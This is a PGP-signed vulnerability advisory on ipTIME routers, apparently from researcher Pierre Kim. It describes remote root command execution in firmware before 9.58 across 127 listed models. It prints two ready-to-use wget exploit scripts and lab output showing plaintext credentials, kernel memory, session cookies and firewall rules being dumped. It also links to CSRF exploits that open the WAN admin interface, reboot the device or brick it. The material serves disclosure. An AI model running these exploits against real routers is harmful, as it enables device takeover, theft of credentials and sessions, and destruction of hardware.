-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512


Please find a text-only version below sent to security mailing-lists.

The complete version on exploits about my last advisory of ipTIME
products is posted here:

    https://pierrekim.github.io/blog/2015-07-01-poc-with-RCE-against-127-iptime-router-models.html


=== text-version of the advisory ===


Disclaimer

    This advisory is licensed under a Creative Commons Attribution
Non-Commercial
    Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

As stated in the precedent advisories, ipTIME firmwares prior to 9.58
version are vulnerable to a remote code execution which gives root
privileges.

- From product_db extracted from a live ipTIME system, it concerns at
least these devices:

    g1 g104a g104be g104i g104m g501 i1601 ic416 ic426 in524 ip0526
    ip300 ip409 ip410 ip416 ip418 ip419 ip422 ip449 ip802 ip803 n104
    n104a n104i n104m n2 n3004 n5004 n504 n6004 n604 n604i n604m
    n7004 n704 n704m nx505 q1 q304 q504 t1004 t1008 t2008 tq204
    tv104 tv108 tv116 tv124 x1005 x3003 x5007 z54g

By analysis updated firmwares, in total 127 devices were affected:


    a1004 a1004v a104 a104ns a104r a2004 a2004ns a2004r a2008 a3004
    a3004ns a5004ns a604 a604v extac extd2 g1 g104 g104a g104be g104i
    g104m g204 g501 g504 ipsmart mini mobap1 multi n1 n104 n104a n104ar1
    n104i n104k n104ktt n104m n104p n104q n104r n104r3 n104rsk n104s
    n104sr1 n104t n104v n104vlg n1e n1eky n1p n2 n2e n2p n3004 n5 n5004
    n504 n5r1 n6004 n6004m n6004r n604 n604a n604i n604m n604p n604r
    n604s n604t n604v n604vlg n608 n7004ns n702bcm n704 n704a n704a3
    n704bcm n704lg n704m n704mlg n704ns n704s n704v n704v3 n8004 n8004r
    n8004v n804 n804a n804a3 n804t n804t3 n804v n904 n904ns n904v ng104
    ng304 ntq104 ntv108 ntv116 ntv124 q1 q304 q504 q604 t1004 t1008
    t16000 t2008 t24000 t3004 t3008 timeve tq204 tv104 v1016 v1024
    v304 v308 v504 wre1 x3003 x3007 x5007 x6003

Here are the working exploits:

Exploit against the firmwares in ALL versions from 2008 to 2015 -
until 9.50 firmware:

    $ cat iptime.carnage.l2
    #!/bin/sh
    if [ ! $1 ]; then
      echo "Usage:"
      echo $0 ip command
      exit 1
    fi
    wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;
PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh

Exploit against firmware v9.52:

    $ cat iptime.carnage.l2.v9.52
    #!/bin/sh
    if [ ! $1 ]; then
      echo "Usage:"
      echo $0 ip command
      exit 1
    fi
    wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;
PATH=$PATH:/sbin:/bin $2 $3 $4" http://$1/sess-bin/sh


The exploits have been written in HTML/JavaScript, in form of CSRF
attacks, allowing people to test their systems in live using their
browsers:
    http://pierrekim.github.io/advisories/


Now we test the exploits in my lab!



o How to retrieve the credentials ? (see login and password at the end
of the text file)

    HTML/JS exploits:

    For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-dump.configuration.including.credentials.html
    For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-dump.configuration.including.credentials.html

    Using CLI:

    kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /tmp/etc/iconfig.cfg
    wantype.wan1=dynamic
    dhblock.eth1=0
    ppp_mtu=1454
    fakedns=0
    upnp=1
    ppp_mtu=1454
    timeserver=time.windows.com,gmt23,1,540,0
    wan_ifname=eth1
    auto_dns=1
    dhcp_auto_detect=0
    wireless_ifmode+wlan0=wlan0,0
    dhcpd=1
    lan_ip=192.168.0.1
    lan_netmask=255.255.255.0
    dhcpd_conf=br0,192.168.0.2,192.168.0.254,192.168.0.1,255.255.255.0
    dhcpd_dns=164.124.101.2,168.126.63.2
    dhcpd_opt=7200,30,200,
    dhcpd_configfile=/etc/udhcpd.conf
    dhcpd_lease_file=/etc/udhcpd.leases
    dhcpd_static_lease_file=/etc/udhcpd.static
    http_auth=session
    use_captcha=1
    login=test
    password=test
    org_hwaddr.eth1=90:9F:XX:XX:XX
    nat_passthrough=0
    kali#

    Login and password are stored in plaintext, which is a very bad
security practice.

o Listing of the filesystem

    HTML/JS exploits:

    For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-listing.of.the.root.filesystem.html
    For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-listing.of.the.root.filesystem.html


o Current running process:

    HTML/JS exploits:

    For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-current.process.html
    For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-current.process.html


    Using CLI:

    kali# ./iptime.carnage.l2.v9.52 192.168.0.1 ps -auxww
    PID  Uid     VmSize Stat Command
    1 root        720 S   init single
    2 root            SW  [keventd]
    3 root            RWN [ksoftirqd_CPU0]
    4 root            SW  [kswapd]
    5 root            SW  [bdflush]
    6 root            SW  [kupdated]
    7 root            SW  [mtdblockd]
    252 root       1176 S   /sbin/dhcpd
    270 root        436 S   apcpd
    272 root        432 S   /sbin/iptables-q
    299 root        372 S   /bin/wscd -start -c /var/wsc.conf -w wlan0
-fi /var/w
    303 root        260 S   /bin/iwcontrol wlan0
    463 root        684 S   httpd
    496 root        288 S   /bin/sh
    498 root        300 R   ps -auxww
    kali#


o Getting the kernel memory:

    HTML/JS exploits:

    For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-getting.kernel.memory.html
    For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-getting.kernel.memory.html

    Using CLI:

    ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore

    The device runs Linux 2.4.18, 12 year old Linux, full of CVEs
(local AND remote):

    <4>Linux version 2.4.18-MIPS-01.00 (rtlwl@ski) (gcc version
3.4.6-1.3.6) #128 Tue Feb 10 10:57:17 KST 2015
    <4>early printk enabled
    <4>Determined physical RAM map:
    <4> memory: 01000000 @ 00000000 (usable)
    <4>On node 0 totalpages: 4096
    <4>zone(0): 4096 pages.
    <4>zone(1): 0 pages.
    <4>zone(2): 0 pages.
    <4>Kernel command line: root=/dev/mtdblock1 console=0 single
    <4>Calibrating delay loop... 399.76 BogoMIPS
    <4>Memory: 9500k/16384k available (2310k kernel code, 6884k
reserved, 416k data, 60k init, 0k highmem)
    <4>Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
    <4>Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
    <4>Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
    <4>Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
    <4>Page-cache hash table entries: 4096 (order: 2, 16384 bytes)


o Grabbing the valid HTTP authentication cookies:

    kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore |
strings | grep Cookie

    Cookie: efm_session_id=iNYV3r097DPbMDWu
    Cookie: efm_session_id=iNYV3r097DPbMDWu
    Cookie: efm_session_id=i3HJh4V15YLkf2l2
    Cookie: efm_session_id=i3HJh4V15YLkf2l2
    Cookie: efm_session_id=iNYV3r097DPbMDWu
    Cookie: efm_session_id=iNYV3r097DPbMDWu
    Cookie: efm_session_id=i3HJh4V15YLkf2l2
    Cookie: efm_session_id=i3HJh4V15YLkf2l2
    Cookie: efm_session_id=i3HJh4V15YLkf2l2
    Cookie: efm_session_id=iNYV3r097DPbMDWu
    Cookie: efm_session_id=iNYV3r097DPbMDWu
    Cookie: efm_session_id=iNYV3r097DPbMDWu


o Default firewall rules:

    HTML/JS exploits:

    For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-default.firewall.rules.html
    For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-default.firewall.rules.html

    Using CLI:

    kali# ./iptime.carnage.l2.v9.52 192.168.0.1 iptables -nL

    Chain INPUT (policy DROP)
    target     prot opt source               destination
    DROP       47   --  0.0.0.0/0            0.0.0.0/0
    DROP       tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:1723
    radius2g   all  --  0.0.0.0/0            0.0.0.0/0
    ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp spt:25
    ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:80
    ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0
    ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp dpts:67:68
    ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp spt:53
    ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp spt:80
    ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp spt:36500
    ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0          udp
dpts:33434:33600
    ACCEPT     icmp --  192.168.0.1          192.168.0.1        icmp type 8

    Chain FORWARD (policy ACCEPT)
    target     prot opt source               destination
    TCPMSS     tcp  --  0.0.0.0/0            0.0.0.0/0          tcp
flags:0x06/0x02 TCPMSS clamp to PMTU
    app_filter  all  --  0.0.0.0/0            0.0.0.0/0
    app_forward  all  --  0.0.0.0/0            0.0.0.0/0

    Chain OUTPUT (policy ACCEPT)
    target     prot opt source               destination

    Chain app_filter (1 references)
    target     prot opt source               destination

    Chain app_forward (1 references)
    target     prot opt source               destination

    Chain ext_accesslist (0 references)
    target     prot opt source               destination
    DROP       tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:80

    Chain int_accesslist (0 references)
    target     prot opt source               destination
    RETURN     all  --  0.0.0.0/0            192.168.255.250
    RETURN     all  --  0.0.0.0/0            192.168.255.1
    DROP       tcp  --  0.0.0.0/0            0.0.0.0/0          tcp dpt:80

    Chain plantynet (0 references)
    target     prot opt source               destination
    plantynet_free  all  --  0.0.0.0/0            0.0.0.0/0
    QUEUE      tcp  --  0.0.0.0/0            0.0.0.0/0
multiport dports 80,8080

    Chain plantynet_free (1 references)
    target     prot opt source               destination

    Chain radius2g (1 references)
    target     prot opt source               destination

    Chain upnp (0 references)
    target     prot opt source               destination


o Opening the management interface on the WAN:

    HTML/JS exploits:

    For version pre 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-opening.the.firewall.html
    For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-opening.the.firewall.html


o Reboot the device:

    HTML/JS exploits:

    For version pre 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-reboot.html
    For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-reboot.html


o Brick the device:

    HTML/JS exploits:

    For version pre 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-bricking.the.device.html
    For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-bricking.the.device.html



By the way, d.cgi in /bin/ is an intentional backdoor from ipTIME.

More fun from iptime products is coming ~~~

Follow me on Twitter @PierreKimSec

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJVlAGbAAoJEMQ+Dtp9ky28TF8QAIWqBhTV1ogNGYkWNCJ7QU4k
I1zjP4clA3CpfoiMjfCUbEBn7KsKx70+ZVVIU4y4d9l8jJeTAMN3X4YBDTncnky9
le3QSjdjbxs2cMCwWN7QgnCTDjRocllrGCg5r3TpIWxFRHA3mHMYmUlDqEnJ2n79
I4ta+ZxixCOfuAeZr2BgmXYfcYpxZwgYVPpe6IaGkrcaRpexW6sJohMCgQ/7ECDa
HJaSp5wzINdbtp3UfILuEsRBB3jj9LbFOX8IwgJ9JJvk2dT2n+Qutk8zCKKCOYW+
cuBMcDUq43qUoDZcQYpYTu//l/YJLBGDKSWWSVwMBzsgG5AknKQwtgXAxvFm5yU3
b2ShJeSLXNaCEXia+owW9zITfchzaxlGrEBrtv9xdv/UgH3JeVnbXQ8gvIL4w/y2
/2hAcH5Xe0wlRy7ipMvhaZo5NtITearo9bUgJzVtFX3OUtIUH5Zwk4oU+uT2z/n0
IAyTao20MK1Q/HGPgKiD0xRisfDfTI4wJSbV1FRvNcmtZ715gr84Mu7jIf3oRDpY
0SECXAodlxlllJJGHYXgx6yIYXKdD+LT14SBcpobtqy0yBmltMsPrBtg0/FsDtVr
yYz9FmPlkuFgqY7mSCbT31GCWwy4YnGGRXKF4XNKq6cnDZ9iY0Lr7SAz/r0jXzBR
pcfE2fQqJLiKxeUbzyPM
=Yd4L
-----END PGP SIGNATURE-----

-- 
Pierre Kim
pierre.kim.sec@gmail.com
@PierreKimSec
https://pierrekim.github.io/